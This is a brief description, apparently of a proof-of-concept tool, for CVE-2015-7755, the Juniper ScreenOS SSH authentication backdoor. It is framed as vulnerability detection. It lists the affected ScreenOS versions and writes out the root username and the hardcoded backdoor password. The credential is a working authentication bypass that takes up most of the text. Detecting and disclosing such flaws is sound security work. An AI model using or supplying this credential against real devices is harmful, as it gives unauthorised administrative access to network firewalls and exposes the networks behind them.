
Proof-of-concept exploit for CVE-2015-7755 targeting Juniper ScreenOS backdoor authentication bypass via SSH with hardcoded root credentials.
CVE-2015-7755 vulnerability detection
using ssh to connect those vulnerable version:
ScreenOS 6.2.0r15—6.2.0r18,6.3.0r12—6.3.0r20 (Juniper Networks)
user: root
passwd: <<< %s(un='%s') = %u